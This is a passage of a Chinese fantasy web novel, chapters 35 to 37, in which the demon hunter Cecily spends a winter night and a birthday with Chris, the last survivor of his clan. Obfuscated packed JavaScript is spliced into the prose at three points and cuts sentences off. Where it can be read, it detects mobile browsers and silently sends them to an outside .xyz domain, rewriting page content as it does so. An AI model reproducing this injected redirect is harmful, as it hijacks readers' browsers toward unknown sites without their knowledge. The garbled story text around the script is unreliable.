自从那件事发生后，魔王和恶魔在民间的恶名穿得更广了，大人吓唬小孩的话也从“如果不好好吃饭/睡觉，就会被创世神厌弃”变成了“如果不好好吃饭/睡觉，就会被恶魔吃掉，就像斯科特那样”。 然后再拿出3684年7月14日的那期猎魔人日报，头条版面就是斯科特一族被魔王灭族的报道。 被吓唬的小孩可能并不识字，但却总是会一知半解的信任大人，毕竟，那个可是‘证据’啊。 而等那些小孩长大后，总有那么几个胆大的想去看看那个‘怪谈’的发生地，而斯科特族门口的神庭骑士早在前几年减少了，毕竟一直没有动静，也不能总浪费人手。 而总有那么几个骑士会在守夜的时候打瞌睡和走神，或者对那些溜进来的孩子视而不见。 而只要有一个小孩成功了，就会有其他小孩来尝试，把这里当做什么无聊的打赌游戏的大冒险。 如果是在白天他会面无表情的把他们驱逐走并警告他们不要再来，但现在…… 现在他只想尽力忽略那敲门声的，毕竟小孩子的兴致总是来的快去的也快，而且现在还是冬天，很冷，一想到需要离开有种燃烧着柴火的壁炉的卧室到外边去他就感到一阵抵触。 ——天知道现在明明还没到十二月为什么这么冷。 想必那个无聊的小孩也很快就会因为这恼人的低温离开吧。 “……” 十分钟后，克里斯下床开了门，打算给这个锲而不歇的小孩一点教训。 作为一个拥有魔力的魔法师，吓唬小孩的方法还是很多的。 然后被门一打开，他就被门外的人惊了一跳：“……西塞莉？” 灯光通过打开的门缝倾泻而出，照亮了她白皙的肌肤，像是一块细腻润泽的玉。 在克里斯拉开门的时候，她的身体因为惯性随着拉开的门向内倾斜，然后又被自己下意识伸手撑住稳固。 克里斯默默收回已经快挨到她肩膀的手。 “你怎么在这里？”他皱起眉，生硬而冷肃的问。 西塞莉慢吞吞的站起身，拍了拍衣角粘上的尘土，这才不紧不慢的看向他。 她留长的黑发随着动作晃了晃，耳边的绿宝石耳坠和她光下的眼睛有些像。 “因为很担心克里斯，所以很想、很想来到你身边。” 她就用那双美丽的眼睛看着他，这么说道。 “你、你在说什么啊……！我有什么值得你担心的……还有、大半夜的敲别人的门，不开也不离开，你是傻子吗？不嫌冷？” 他语气嫌弃，然后让开了门，西塞莉乖巧地顺着他的动作进了门，一边往里走一边回答了他的问题：“冷的，但是你开得好晚哦，我明明敲了很长时间的，警惕心也太弱了吧。” “……你还好意思说别人。” 他始终没有忘记她一年级时在图书馆睡着的事。 “你怎么这么小声啊，如果想要……见我、的话，就用力点敲门，或者叫两声我的名字啊，还以为是什么玩大冒险或者搞恶作剧的小孩呢，你是没吃饭吗？” “你家好冷啊克里斯。” 她很自然的往屋里走，忽略了他的话，然后自顾自拉开了他的卧室门，感受到和门外截然不同的温度后才满意道：“果然卧室里是暖和的呢——冬天的话，就算是克里斯也忍受不了吧。” “……不要忽视我的话。” “克里斯的房间好冷淡哦。”她再次忽略了他的话：“和克里斯的气质好像，一看就是你的房间呢。” 她走到壁炉前烤火：“好暖和啊。” “谁让你在外面待那么久的，还穿这么薄……”他皱了皱眉，从衣柜里取出一件长大衣披到她身上，顺势坐到她身边，低声，“活该。” 西塞莉拉了拉往下滑的大衣：“居然是白色的，我还以为你只有黑色衣服呢……嗯……上面也有克里斯的味道，但是之前没有见你穿过呢，是之前偷偷穿过还是放在衣柜里粘上了克里斯的气味呢？” “没穿过。这个是父亲同事送的礼物，因为尺寸大了所以一直放在衣柜里。” “诶，但现在看上去很适合克里斯呢，是几年前的事了吧？ “嗯，是……”他声音顿住。 西塞莉猛然意识到自己似乎说错话了，这件大衣大概是克里斯父亲还在的时候，也就是斯科特还没被灭族、他的家人都还在的时候。 “……你来找我有什么事吗？”他很是生硬地转移了话题，等回过神的时候突然意识到这个问题其实同样很重要，看向她被火光映红的脸颊，皱眉问：“有什么事不可以等白天再说？” “克里斯。”西塞莉喊他。 克里斯冷酷无情：“回答问题。” 她眨了眨眼：“我要在今天陪着你。” 克里斯：“回答……嗯？你说什么？” 西塞莉重复：“我要在今天陪着你。” 克里斯：“……什么意思？？说人话。” “……我觉得我通用语发音挺标准的啊。”她嘀咕。 “我在问你来这儿的理由。” 西塞莉耸耸肩：“好吧，其实是我很想待在克里斯身边，所以就过来了。” 虽然说着这样的话，但她的语气中却是一种长辈对待小辈时才会出现的带着无奈的纵容与宠溺，还有那一脸“真那你没办法那本大人就大人有大量让着你吧”的表情是什么意思？真叫人不自在。 克里斯：“……你又犯什么病？” “怎么可以这样说我，明明是……”她猛得顿住，然后欲盖弥彰般大声嚷道：“——明明是你！你都没有在我请假的时候来看我！你一点都不在意我！是不是根本没有把我当朋友！！” 说着说着，本来只想转移话题的西塞莉居然真的感觉自己挺委屈的，几乎快要哭出来了。 克里斯：“！！” 克里斯：“我没有！！” 他居然显得有些语无伦次：“我、我只是，只是觉得你可能需要一个人待着，因为我当时也很长时间不想和人交流……而且就算你需要人陪着，也有丹尼尔他们……” “……大概，不需要我吧。”他轻声说道。 说了好多话啊…… 似乎是第一次听克里斯一口气说这么多话呢，而且还很有情绪。 西塞莉几乎想要感叹出声，然后突然上线的情商提醒她，现在说这样的话好像有些毁气氛。 现在可是好朋友交流感情的场合！！ 于是她努力将乱跑的脑回路掰回正轨，回想他们刚刚的话题和克里斯刚讲完的话，后知后觉感到有些不高兴，她大声：“克里斯怎么可以这么说！！” 她扭身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话说你被训练出来的敏捷速度用在这种地方真的是认真的吗？！ ……但是一想到克里斯会因为自己而难过就很着急呢，在这种情况下给对方一个拥抱似乎是合理的，毕竟少年漫里都是这样画的呀。 但作者有没有想到猎魔人的战斗本能啊喂！一个合格的猎魔人是可以随便被别人近身的吗？！那种突然抱上前的情节果然都是假的！！ 西塞莉脑子一向转的很快，短短一瞬不仅在心中做好了取舍还想明白了小时候觉得很治愈的情节其实根本不靠谱这件事。 并且已经做好了被克里斯击飞的准备。 反正这种因为下意识的肌肉记忆所进行的攻击大概不会附加魔力，估计就是普通的纯物理攻击。 看来战斗本能她也是有的，就比如刚刚一察觉到克里斯的攻击意图时瞬间就反应过来打算松手了。 她苦中作乐的想。 ……话说‘第一名’的纯物理攻击威力到底有多大？希望不会把她的骨头弄断吧，不然会很痛，而且还要去医院，麻烦死了。 胡思乱想的西塞莉突然回神：克里斯怎么还没动静啊？ 她眨了眨眼，试探着将下巴搁在他肩头，察觉到对方只是僵硬着身体外并没有什么其余举动后又放心地蹭了蹭，有些惊奇：“我还以为你会直接攻击我，毕竟有个叫‘战斗本能’的东西存在嘛——话说你上会抓着肩膀或者手臂丢出去，还是撞击腹部或者其他地方将我击飞？” “真是好奇啊……！！”她感叹般道。 “……这有什么好好奇的。” 克里斯声音闷闷的，虽然这么说却还是回答了她的问题：“我是想直接将你击飞的，因为抓肩膀的话动作要更复杂一些，花费时间更长。” “不过，我压制住了。” 他的声音听上去居然带着些邀功的意味，然后又严肃地叮嘱她：“但是下次不能做这么危险的事了，会受伤。” 35.苦橙花与玫瑰影 “克里斯……” “怎么了？” “我好感动啊……！！”西塞莉用力抱住他。 “……？”他困惑地眨了眨眼。 她解释：“我都做好被你打飞的准备了呢。” 克里斯皱眉：“为什么不躲？” 西塞莉诚实道：“因为担心你会被我伤到。” “……你觉得你会伤到我？你对你的实力什么时候这么自信了？……啊，忘了，你对自己的实力一些都很有自信。所以你什么时候对我的实力有了这么大的误解，觉得我会被你伤到？”克里斯语气生硬。 西塞莉：！！克里斯的毒舌技能发动了！ 不过今天晚上他话真的好多啊，这件事传说中的，那什么来着？人类在晚上会比较感性？所以话更多……？ 嘶，这个词和克里斯真不搭，有种一但联系在一起就会严重ooc的感觉。 所以大概只是被我气到了吧？如果我的实力被质疑也会很不高兴的，更别说克里斯这种骄傲的天才了…… ——啊，话说他刚刚是说我实力不如他了吧？是嘲讽我弱了吧？！ 西塞莉感觉有点生气。 虽然、虽然她实战体术方面确实比不上他，但也并不想被别人指出来啊……！！！ 但现在可是好朋友之间的，冷静点西塞莉，克里斯是什么样的人你还不清楚吗？ 他就是个不会表达自己的傲娇毒舌怪啊！说不定就是因为被说到点上感到难为情所以才这样说的。真是教科书式的傲娇啊。 于是她就克里斯不明所以的目光中给了他一个宠溺的目光。 克里斯：“………” 克里斯：“你别突然露出这种表情，有点恶心。” 西塞莉依旧宠溺的看着他，温柔道：“你不用解释，我都懂的。”真是害羞啊克里斯。 克里斯：“……你懂什么？别想那些乱七八糟的事。” “好~我不懂——” 克里斯：“………” 他自暴自弃地移开视线：“……所以你来找我到底有什么事？” “呃……因为我不想一个人待在家里。” “……那，为什么来找我？” 他的脸被壁炉里燃烧着的火映上一层浅红，似乎比平时少了一些冷硬，多出一些似错觉般的柔软。 话题开了头就好继续了，西塞莉从善如流道：“扎克利出去做任务了，丹尼尔在的福利院神诞日要祷告，我不想去更远的地方，所以就来找你了。” 不知道是不是错觉，总觉得他露出了有些失落的表情。 西塞莉眨了眨眼，说：“你在感到难过吗？克里斯？为什么？” “……我没有。” 那点失落像不慎滴落在热锅上的水珠，很快就连水蒸气都没剩地消失不见，他淡淡瞥了西塞莉一眼：“眼睛没用可以捐给有需要的人，他们会用得比你更好。” 西塞莉：“……” 她瘪了瘪嘴：“我好渴啊。” “等着。”克里斯用学校里放学后跟人约架的不良少年一样的语气说出这句话，然后出去给她倒了杯水。 西塞莉接过杯子低头轻轻抿了口，不冷不热刚刚好的温度，这么快的速度是不大可能调出这种刚刚好的温度的，估计是用了魔法。 没记错的话，克里斯也很擅长火系魔法。 “没想到你居然这么体贴啊。”她有些意外道。 “我只是有礼貌而已，这种事谁来做客我都会做的。”他依旧嘴硬。 不过西塞莉已经看透了他的本质——这家伙就是个不擅长说话的笨蛋嘛！ 所以根本不会因为他的话而生气。 这可是一个会用发脾气和毒舌来撒娇和掩盖害羞的人啊！！ 想想还蛮可爱的！！ “克里斯……” “怎么了？” 西塞莉打了个哈欠：“我有点困了。” “…………” 克里斯皱起了眉，试探着问：“你，要睡觉吗？” “诶？可以吗？” “困了当然要睡觉，没人不阻止你睡觉。” “我在哪里睡……？你要让我睡沙发吗？” “……没不让你睡床。” “欸？我可以用克里斯的床吗？”西塞莉眨了眨眼。 “……随便你。” “……” “我认为床铺是很私密的东西。” 西塞莉突然严肃：“就算是朋友，也不能随便使用。毕竟床铺是比卧室更私密的东西，人类最脆弱最毫无防备的时间是在深度睡眠，而睡眠都是在床上，人类和自己的床褥进行亲密接触的手机不低于衣料，所以床铺和衣柜通常是人类自身气息最浓重的两个地方。” “而允许突然接触，就算允许其他人沾染自己的气息，或者允许自己的气息和其他人混合，我认为这是一件很亲密的事。” “……所以你想表达什么？” “——没想到你已经把我当成这么要好的朋友了啊！！还以为你没来看我是因为没有把我当朋友看呢！！是我错怪你了！！” “…………” “……睡你的吧。” 五分钟后—— “克里斯……”西塞莉犹犹豫豫地张了口。 “……干什么？”他没好气道。 西塞莉：“你的床好硬啊。” 克里斯：“……你是豌豆公主吗？身为猎魔人连硬点的床都受不了还杀什么恶魔？” 西塞莉嘟囔：“这两点根本就不一样嘛……” “……” 又五分钟—— “克里斯。” “……干什么？” “你真的没用熏香吗？” “你之前问过一次吧？没用。” “那洗衣剂是什么牌子的？味道很好闻诶。” “June－307，薰衣草味。” 克里斯又开始翻他的大部头书，听到她的问题，漫不经心地报了个知名度很高的国民级牌子的经典味道。 西塞莉皱了皱眉，又嗅了嗅：“不大像啊……那沐浴露用的是什么牌子什么味道？” “Neroli R，橙花味。” “……” 依旧是个不算小众的牌子。西塞莉估计他出去采购的时候根本没挑，是随便拿的，毕竟这种国民牌经典款在哪个商场都有卖的。 西塞莉又将脑袋重新埋入被褥。 橙花，或者是苦橙花。 它的果子很难吃，既苦又涩，难以下咽。但花香却又的确怡人，清甜自然的香韵，香气浓郁，带着一些明快轻 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在不属于自己的领地中且周围还有其他人的情况下，即使知道此地绝对安全也依旧还是没那么容易睡着。 西塞莉睁开眼，盯着冕型灯看了半晌，转了转眼珠，看见一旁墙上挂着的衣服。 上面的图案很熟悉，是克里斯常穿的斯科特族服。 一看到那件衣服背后的蝴蝶刺绣，西塞莉就无可救药的想到葬礼。 ——两年前斯科特一族的葬礼。 然后再由此想到一个多月前艾维斯和卡蜜拉的葬礼。 想起那天的雨，西塞莉又感到一阵恍惚。 ——那感觉就像在某个休息日睡到自然醒，睁眼那瞬间发现天已经擦黑那样。有种平静又带着些许惊慌的不真实感—— 现在的天是黑的吗？ 我睡了多久？是根本没睡吗？还是睡到了第二天晚上？会不会有其他事我还没完成？没完成会有什么后果呢？现在还来得及补救吗…… 但是尽管感到惊慌，更多的却还是平静。 毕竟，都说了最多的是带着不真实感的轻微晕眩。 那点恐慌在这状态下都变得像是幻觉一样。像是白炽灯下，银镜中一朵白玫瑰的苍白倒影。带着重影般的。迷幻。奇异。陌生。 所以，想到雨和葬礼，西塞莉竟然意外的心平气和。 反正不论如何悲伤，都已经过去了。 反正，生命就是这种脆弱的东西，像是初春的冰面，负重即碎。而即使是猎魔人，也不过只是一块稍微坚硬的玻璃。 ……真是狠心啊，西塞莉。 西塞莉察觉一道声音在自己心底响起。这是一句玩笑话，一句调侃。是她对于她自己的。 但她又忍不住想，如果艾维斯还在的话，如果他知道她的想法的话—— ……一定也会这么说的吧？ 西塞莉甚至能脑补出他的语气与神态。 大概是带着无奈与不满，似笑非笑，似嗔非嗔。还有那种时常被她骂“恶心”的，深闺怨妇般带着幽怨的撒娇尾韵。 ……那又不是我的错。 她在心里反驳。 ——明明是你们先抛下我的。 36.笑 “克里斯……” “……你又怎么了？” “生日快乐。” “睡不着就起来看书，实在不行我可以陪你打架——你刚刚说什么……？” “生日快乐。”西塞莉耐心重复，眼睛很亮，期待地看着他。 “——” “……谢谢。”他别扭地别了别头。 “我给你准备了生日礼物。”她说着，从床上爬起来，脚上只踩了双白袜，但好在克里斯的卧室和大多数贵族家一样，铺设了厚实的地毯，纵使是在寒冬也并不叫人感到寒冷。 不过更主要的大概是壁炉里燃烧的火吧。 西塞莉走到他面前，悄无声息地——地毯吸收了绝大多数声音。克里斯只能听到自己加速后又缓缓平静下来的心跳频率——它正以一直安定平稳到异常的频率跳动，而他只能感到幻觉般的轻微恐慌，微小到他不愿做出任何改变。 静静地看着她走近，来到他所坐的沙发前。 克里斯这两年长了不少——青春期的少男少女总是长得很快，丹尼尔尼克他们也长了不少，但克里斯依旧是他们之中最高的。虽然比不上扎克利这个成年人。 但他现在是坐着的，并且也并没有起身的打算的样子，所以西塞莉难得可以从高到低以俯视的角度去打量她。 西塞莉的俯视，并不会给人以居高临下的感觉，她的眼睛泛着莹莹的绿，真挚而诚恳。 一些人随着年龄的增长，体内的色素细胞会发生变化，从而出现眼睛颜色变色的情况。这是正常的生理现象。 西塞莉的眼睛就是这样。克里斯记得，他们刚认识的时候，她的眼睛还是一种黑曜石般过分明亮的黑色。 注视着她的眼，克里斯想，没有第二双眼睛会在与他对视之时给人这种过分专注的诚挚感了。 西塞莉一直很喜欢克里斯的眼睛。 黑色的眼睛，过分浓郁的黑，像是浓稠的墨汁——他的头发也是这种颜色，一直很纯粹的黑色，连光线反射都很少，像是星月无影的深夜。 很罕见的颜色。西塞莉没见过除克里斯以外的斯科特——活着的。她在葬礼那天倒是见过很多斯科特的黑白遗像。 或许只有斯科特才有这种过分纯粹的黑。因为艾维斯虽然有黑色的头发，卡蜜拉有黑色的眼睛，但都不是克里斯这样的黑色。他看上去像是一只钻进床底就会消失无踪的黑猫。 克里斯的睫毛也是这样的黑色。他的睫毛浓密且平直，而且因为很黑，所以有点像明星海报照上画的眼线，很漂亮。 啊，还要感谢它中部带着的弯曲弧度，不然按它的长度，说不定会扎进克里斯眼睛里，如果阻碍到他训练，一定会被主人剪掉的。 不过，没有睫毛的克里斯……大概也还是很好看吧？ 虽然已经过去两年多了，克里斯也不能再用男孩来形容了，但作为一个少年人，他依旧还是有些漂亮过头了。 头发再长些说不定会被认成女孩。西塞莉在心中判定。 他轻轻扬起头，西塞莉看见他修长的脖颈上明显的凸起，视线不自觉的在其上停留，甚至有些想抚摸自己脖子上相同的位置，但手指动了动还是没抬起来——这是只有男孩子才有的，她当然没有。 丹尼尔尼克扎克利他们也有，就她没有。 ……不过玛蒂尔达和苏菲亚他们也没有。因为这是只有男孩子才有的。 西塞莉突然意识到现在这个位置很适合暗.杀。 如果她现在动手的话，就算克里斯是天才中天才，也肯定无法躲过。他轻轻扬起的头颅，线条优美的修长脖颈——是要害。完整地暴露在她眼前。漆黑的眼睛像是在看着她，又像是在单纯的发呆——他的眼睛太黑了，就算是在这个距离，西塞莉也分不清虹膜和瞳孔的区别。 静静地与他对视着，西塞莉感到有些不高兴——她精心准备了礼物，就是想要给克里斯一个惊喜，而他却表现地毫无波动——除了最开始还蛮可爱的别扭神情外，几乎称得上面无表情，比他平时看着还要冷。 “你为什么一直这个表情啊？”她有些不高兴地问：“这让我很没有成就感诶！” “你想让我做出什么表情？”克里斯的语气很耐心——这个词跟他真是相违和，叫西塞莉怪不适应的。 而且这个问题要怎么回答嘛！她总不能回答说‘想看克里斯露出被吓到的可爱表情’吧？听上去好奇怪！ “那，笑一笑吧。”她说。这可是克里斯自己主动提出来的，放过岂不可惜。 黑发少年露出明显的怔愣表情，眼睛微微睁大，西塞莉这才发现他的眼型其实是偏圆的——眼角尖锐，眼尾上翘，很像猫。 他僵硬的动了动唇角，生硬的弧度让她看得直皱眉。他看上去简直像是被她胁迫着一样，她可没有能耐威胁他去做什么事，毕竟他很强嘛。 “你笑得不对。”她上前一步，捧住他的脸。脸颊凉而柔软，西塞莉手下下意识用力捏了捏。 “……”意识到自己做了什么后，她心虚的窥了一眼克里斯表情，见没什么异样才状若无事发生的样子调整他的表情。 好软…… 没想到克里斯这家伙的脸这么软，真是不可思议。 “……你捏够了吗？”他轻微皱着眉头，有些气恼地耷拉着眼皮，但身体上倒是没什么动作，还是乖巧的任她摆弄。 见此，西塞莉胆子也大了，一本正经的捂住他的嘴：“你别动，我好不容易才调整好呢。” “……” 很乖的认人摆布。 “感觉还是差了什么……”西塞莉疑惑的歪了歪头：“克里斯，你再自己笑一笑。” “……” “还是很怪啊，再来一次。” “……”克里斯向后仰了仰脑袋，将自己的脸从她手中拯救出来，上面已经被西塞莉的体温捂得有些发红了，他恼羞成怒道：“你够了吗？明明是我的生日，你却一直在这样……戏耍我……” 西塞莉愣了愣，然后想起来自己确实是要给他过生日来着。“啊，对、对哦……”她的视线心虚的飘移了一下，低头从外袍口袋里取出了礼物盒，大约有克里斯手上的大部头书那么大，口袋里是绝对装不下的。 “怎么装下的？”话刚出口，克里斯就意识到自己问了个蠢问题——都已经学魔法那么多年了，怎么还会问出这种普通人才会问的问题呢？ 但好在西塞莉并没有察觉到槽点，认真回答道：“是空间延展咒啦——话说空间魔法在这方面还真是方便呢。” “……这个不是不能随便用的吗？” 空间魔法因为其特性，可以用极少的空间储存和移动远超其容量的物品。为了防止违禁物品走私，在五大陆都是被严格管控的，只有佩戴猎魔人徽章的职业猎魔人才能使用。 “反正进你家又不用过安检。”西塞莉理所当然的说。 而他也只是随口一问，对克里斯来说，就算西塞莉真的用空间魔法运送了所谓的违禁物品，也不是什么大事。 话题很快略过，两人都没觉得十三岁小女孩使用无杖高阶魔法有什么问题。 克里斯看着那个盒子，藏蓝色的丝绒盒，镶黑边的蓝丝绸绑带，光下闪着金属般柔光。是很斯科特的配色。 克里斯的睫毛颤了颤。 西塞莉蹲了下来，这下他就比她高了，克里斯看见她漆黑的发顶柔软而顺滑的小小发旋，还有耳边的绿宝石耳坠，折射出的光浅浅地晕映在她的侧颊，像是雨季里被不慎沾上的一滴雨。 她低头，拆开丝绸绑带，打开丝绒盒，露出了…… 克里斯皱眉，语气古怪的问：“首饰？” 的确是首饰。镶着蓝宝石的指环，还有挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但他们一直都没取下来过。” “可能是因为他们很喜欢吧。”西塞莉混不在意的说，凑近了一些，叫他去看自己右耳的耳坠：“我也觉得很好看，所以平时一直戴着。” 确实很漂亮。 是一种用言语难以形容的美丽颜色，很像她的眼睛。 或许他们一直戴着是因为一些其他的、和宝石无关的东西。 克里斯几乎就要将这句话说出口，但临到开口却又不知为何移了调：“你只打了一个吗？” “……啊？” “耳洞。” “没啊，打了两个。”西塞莉扭过脑袋，将另一边耳朵给他看：“不过没戴什么夸张的，等以后有了喜欢的可以直接戴这只耳朵，如果还要再打一个也太麻烦了。” 克里斯盯了那平平无奇的银质耳针一眼，视线下移，看见她雪纺衬衫上的蔷薇暗纹和领口露出的雪白脖颈。皮肉下是浅青的血管，侧边被他的毛呢大衣蹭出一道淡淡的红——真是娇气。 她细腻的皮肤纹理让他联系到牛奶冰淇淋，看上去口感很好。大概是滑而软的触感，舌尖舔上去似乎还能尝到甜。 不过人的皮肤表面大概是没有甜味的……但这家伙很喜欢吃甜食，她的血会不会是甜的？ 克里斯突然感到难以排解的饥饿感——那是一种半含着棉花糖、还要保持它不化的感觉——麻而痒的感觉在牙尖乃至喉口弥散，想要用舌尖将它卷进口腔。口水不自觉分泌。融化。吞咽。甘美的味道弥漫味蕾。但还不够，还要撕咬下新的，重复、重复……直到胃囊里振翅的蝴蝶归于平静才好。 克里斯想，如果他现在凑过去，用些力说不定可以把她的喉咙咬断。就像狮子咬死一头鹿。 37.礼物 ——像狮子咬死一头鹿那样咬死西塞莉？ ——当然不可能。 虽然不知道那莫名其妙的冲动从何而起，但克里斯是断不可能因为一个突如其来的念头就对她下手的。 完美的猎杀时机转瞬即逝。西塞莉直起身，将距离拉远了些，克里斯便又对上了她那双澄澈的绿眼睛。 这下如果再想要杀掉她就有些麻烦了。 他固然可以自称狮子，但西塞莉绝对不是鹿那种乖顺的草食动物。更何况，纵使是草食动物，在面临危及性命的紧要关头时也总会爆发出出人意料的能耐。 她似乎并没有察觉到他刚刚突如其来且不明缘由的杀意，将礼物盒送到他面前，眼睛亮晶晶的：“现在，我可以为克里斯戴上吗？” “……随便你。” ——这就是默认了。 西塞莉在脑海中自然而然的翻译道。 虽然语气一如既往的算不上友好，但西塞莉已经习惯了他这种说话方式，能听出他的真实意图，并不会因此生气。再说，今天是他的生日、他最大嘛。 她牵起克里斯的手，对方下意识想要挣脱，但在她不自觉皱了皱眉后又突然安静，西塞莉连劝告的话都没说出口，忍不住惊讶的向他看去。 克里斯正盯着地毯上的花纹发呆，察觉到视线，冷淡的睨了她一眼。 西塞莉朝他眨眨眼，他却又像不想看到她一样，触电般迅速移开了视线。 她从盒子里取出手绳，皮质的绳带，下面坠着星星形状的蓝宝石。宝石有个很长的名字，西塞莉没太记清，但很漂亮就是了，倒是这个皮绳很有门路，说是利巴安北部黑暗森林出产的魔鹿皮，上个月赏金猎人刚打的。 这种魔鹿皮的颜色特别黑，西塞莉觉得有些像克里斯的头发，也是那种几乎反不出光的黑。 和黑得诡异的头发行成反差的是他比大多数女孩子都要白的皮肤，西塞莉对比了一下，惊悚的发现克里斯跟自己的颜色差不多、甚至要更冷一些。那根深黑的皮质手绳松松垮垮地挂在他细瘦的腕子上，白的更白黑的更黑，很是分明。 西塞莉调整了下吊坠位置，又将指环从盒子里取出来，盯着少年修长的手指有些走神。 克里斯的手很漂亮，白皙的皮肉包裹着纤长的骨，透过匀称皮肉可以看见手背上浅青色脉络的凸起与走向。因为常年带手套，他的手比大部分猎魔人学校里的男孩要精致些，茧子和伤痕都不算多，完全可以称得上赏心悦目。 但问题是，他有五根手指，但她只有一个指环啊。 ……早知道多买几个了。 不过，如果套一手克里斯又要不愿意了，而且那样也确实不太舒服。 她抬头打量克里斯的反应。 黑发少年垂眼盯着自己手指上指环，眉头皱得很紧——食指上。西塞莉顺手套的，反正只要不在中指上怎样都行。 戒指、指环这类的手部饰品，在五大陆有着特殊的含义，是誓约的见证物，是很多人在建立重要约定之时都会交换的信物。 不过一般情况中指是会被空下来的，因为它与‘爱情’挂钩。 如果在中指戴戒指都会被默认有家室，而且不分年纪，就算是克里斯这种肉眼可见的未成年也会被当成有未婚妻之类的——毕竟他看着就是世家子，大家族有娃娃亲和婚约什么的很正常。 ……按理说，除了中指，其他手指都没有特殊寓意、是可以随便用的，所以克里斯的眉头为什么皱得这么紧？ 难道……？ “你们斯科特一族难道在这方面就什么特殊讲究吗？”她好奇的问。 毕竟五大陆不知有多少族群，就连《世界民族大全》里也只收录了15754个，每个族群都有自己的信仰和习俗，有些甚至和通用规则相悖，说不定斯科特也有什么不为人知的特殊讲究。 “……没有。”克里斯说。 “那你为什么皱眉呢？”西塞莉问。 “不舒服。”他冷淡的回。 “……”她伸手重新握住他的手，将指环撸了下来重新放进盒子：“那就取下来好了。” “……你在生气？”他迟疑着问。 “没啊。”西塞莉茫然。 她是真的没觉得有什么值得生气的。挑选的礼物没有得到喜欢自然会感到失落，但克里斯不是才是那个更该委屈的吗？在生日这天没有收到合心意的礼物，在这么特殊的日子里……如果是她…… 西塞莉思绪一顿，意识到自己在生日时还没有遇到这种情况。 她的朋友很多，生日时会收到许多礼物，那么多礼物，总有一个合心意——说起礼物，西塞莉突然想起了阿尔瓦.霍尔。 虽然那家伙性格讨人厌的很，但每次的生日礼物送的倒是都很合她心意——当然、这改变不了他依旧是烦人精的事实。 而且还有艾维斯和卡蜜拉……西塞莉总会收到合心意的礼物的。 但克里斯呢？ 他的朋友，严格算起来其实只有她一个，父母……死在两年前了。 那他岂不是连唯一的一件礼物都是不称心的？未免也太叫人难过了…… “克里斯……” “怎么了？” “天亮之后，要不要叫丹尼尔他们过来？” “……叫他们来干什么？你想见他们？可以自己去找。” “不不——我的意思是、要不要叫他们过来帮你庆祝生日，会热闹一些。” “要热闹干什么？我不喜欢吵闹。而且，只是个生日而已，就算不过也没什么大不了的，这一天在别人眼里和过往的其他日子一样平平无奇。”克里斯的语气轻描淡写，听得她有些难受。 “可是这一天克里斯诞生了呀，怎么会是和其他日子一样的一天呢？”她语气轻轻的，尤其是尾调，轻得像是叹息。克里斯骤然愣住，西塞莉看到他下垂的睫毛如同蝶翼般颤了颤。 “一年有365天，但只有今天是你所诞生的日子。三百六十五分之一的偶然，今天是多么幸运，多么珍贵的一天，它成为了你与世界的一把钥匙。在今天，世界之门为你打开，你开始用这双眼睛看见世界。” 她细腻温热的指尖随着话语轻轻触上他的眼尾，克里斯下意识想要向后躲——斯科特一族天生就有保护眼睛的本能，大概是因为十个斯科特九个天赋术法都靠眼睛发动吧，‘天赋’对猎魔人还是相当重要的。人类可没有自己长出眼珠的本事。 但她只是轻轻在他眼尾摩挲了一下，像是一片飘落的花瓣拂过脸颊，叫人疑心那是否是一个风路过时留下的错觉。 这种似触非触的感觉实在是叫人难以忍受。 ……可是明明平时训练受伤带来的刺激要比这个多的多，为什么会觉得这种羽毛轻飘飘拂过的力道难以忍受呢？ 克里斯茫然的盯着她，她还在说着话，说一些叫他感到胸口被温水浇筑着的话，两瓣唇开合着，颜色是樱花一样的浅粉色，向内渐浓，舌尖是近乎刺眼的红。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739905|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他难以忍受的移开视线，但西塞莉的话还是无法避免的传进他的耳朵。 “你在那天有了身份与羁绊——一个名字和一双父母。你在十四年前的今天诞生，然后像树一样抽条成长，在我不知道的时候。然后，我遇见你，和你成为朋友，这些都是在那一天之后的事，是你诞生之后的事。” “正是因为有了这一天，我才能遇见克里斯呀。所以这难道不是特别珍贵的一天吗？怎么可以和其他日子混在一起？” “……” “所以，不要让这一天变得同往常一样好吗？我们去做一些生日时该做的事，好吗？” “……好。”他终于点了头，看向她的眼睛是一片黑色的海，但因为太黑了，肉眼看不出它是否起了波涛，“不过，不需要叫丹尼尔和尼克他们——我讨厌吵闹。”他说。 “没问题！”西塞莉一口答应。 ………… 克里斯后悔答应西塞莉的要求了。 诚然，这家伙提出请求的时候绝对是真心的，光那双诚挚的眼便足以动人。 但耐不住她一出门就往闹市跑啊！ 神诞日假期还没过去，街上人来人往。 不知道从何时起，神诞日也和其他节日一样，有了祭典和烟花。而且因为假期时间长，这场狂欢便也前所未有的持久。 他倒不是真的讨厌热闹，只是想找个借口不见丹尼尔他们，至于原因……他也说不清楚，大概是因为不熟。没人喜欢和不熟的人待在一起。 但不知道为什么，看着自己与西塞莉之间总是间隔着的人群，他就是感到莫名烦躁。 可偏偏这个说要让他开心的家伙对此一无所觉。东转转西转转，买了一大堆乱七八糟的东西，拿不过来就偷偷用魔法，空间魔法+减重咒，最后将那一大堆压缩进口袋，然后又拉着他进游乐园。 游乐园里项目实在是难以引起他的兴趣，那些在普通人眼里的刺激项目和猎魔人训练相比简直是小巫见大巫，但西塞莉偏偏一副很喜欢的样子，她不会觉得这些无聊吗？ 而且……她根本没有实现自己的承诺、让他开心！在玩上头后甚至直接忽略了他！ 